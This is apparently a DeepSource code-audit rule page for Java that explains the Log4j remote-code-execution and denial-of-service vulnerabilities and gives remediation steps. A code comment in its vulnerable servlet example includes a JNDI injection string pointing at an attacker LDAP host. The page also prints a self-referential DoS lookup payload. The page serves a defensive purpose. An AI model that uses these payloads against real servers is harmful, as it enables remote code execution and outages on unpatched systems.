Java

Java

By DeepSource

Audit: log4j version used could lead to remote code executionJAVA-A1022

Security

The log4j library is a popular logging library used across the JVM ecosystem. However, if you are using a vulnerable version of Log4j (A version between 2.0 and 2.17.0), RCE (Remote Code Execution) as well as DoS (Denial of Service) attacks are possible through abuse of Log4j's template processing algorithm.

An attacker can perform a malicious JNDI object lookup to chain other exploits, or induce the application to process a malicious template string resulting in a DoS attack if your code logs request data (such as a user agent header).

Update your Log4j version to 2.17.1 to mitigate these vulnerabilities.

The following vulnerabilities have been discovered as of December 19, 2021:

  • The original RCE vulnerability, affecting Log4j versions 2.0 and fixed incompletely in 2.15.0.
  • A DoS vulnerability, surfaced in version 2.15.0 and affecting all 2.x versions before it. This vulnerability is possible with certain non-default pattern layouts that allow the attacker to initiate JNDI lookups by manipulating thread context data. This attack requires a custom pattern layout that uses an interpolation string like $${ctx:loginId}.

    It has been fixed in version 2.16.0; message lookup and JNDI functionality is disabled by default now.

  • Log4j 1.x is partially vulnerable with non-default configurations that use the JMSAppender class. While this is of a lower severity than the other vulnerabilities found so far, version 1.x has been deprecated since 2015 and will not receive official updates (not even security fixes); consider updating to the latest 2.x version.
  • Another severe DoS vulnerability, affecting versions 2.0 to 2.16.0. It is possible for a specially crafted self-referential lookup string (PoC example of this is ${${::-${::-$${::-j}}}}) to cause log4j to go into an infinite recursive loop, resulting in a stack overflow. NOTE: This vulnerability also requires a non-default pattern layout similar to the previously mentioned DoS attack.

    This is fixed in version 2.17.1.

Update your Log4j version to the latest to avoid these vulnerabilities.

Examples

Bad Practice

Here is an example of this issue using a servlet:

@WebServlet(value="/some/path", name="vulnerableServlet")
public class VulnerableServlet extends HttpServlet {

    private static final Logger logger = LogManager.getLogger(VulnerableServlet.class.getName());

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException {
        String userAgent = req.getHeader("user-agent");

        // will trigger an RCE exploit if the user agent contains a JNDI scheme url.
        // Here, the target is a malicious LDAP server.
        // For example: ${jndi:ldap://attacker.com/a}
        logger.info("Request user agent is " + userAgent);
    }
}

This exploit can make use of multiple RPC protocols, including LDAP, CORBA and RMI, of which LDAP is especially vulnerable due to its lack of security manager enforcement.

For an in-depth explanation of how this attack is made possible, read this article.

On Java versions above 6u211, 7u201, 8u191 and 11.0.1 this vulnerability is mitigated to some extent because LDAP object instantiation is disabled through properties such as com.sun.jndi.ldap.object.trustURLCodebase, preventing JNDI from blindly downloading and instantiating classes from remote code (source). This should not be relied on, as these properties could be changed to allow the exploit again.

Recommended

There are a few ways to fix this issue.

  • Upgrade to Log4j 2.17.1

Log4j's latest version, 2.17.1 fixes this bug.

Upgrade your Log4j dependency to this version if possible.

  • Remove the JndiLookup class from your application's classpath

This vulnerability exploits Log4j's ability to interpolate JNDI lookup urls into logged strings. It is safe to do so but will not protect from certain DoS vulnerabilities mentioned above.

JndiLookup.class can be removed by deleting the JndiLookup.class file from your copy of log4j-core.jar:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Use thread lookup format specifiers such as %X or %MDC instead of context lookup strings like $${ctx:someKey}

The use of lookup strings in custom pattern layouts may leave you open to DoS attacks. Use thread context map patterns (%X, %MDC or %mdc) to print out thread context data instead.

Note that this may need to be applied for every release of your application if you make use of fat jars in your deployment.

The best method to prevent this issue is to update to the latest version of Log4j.

References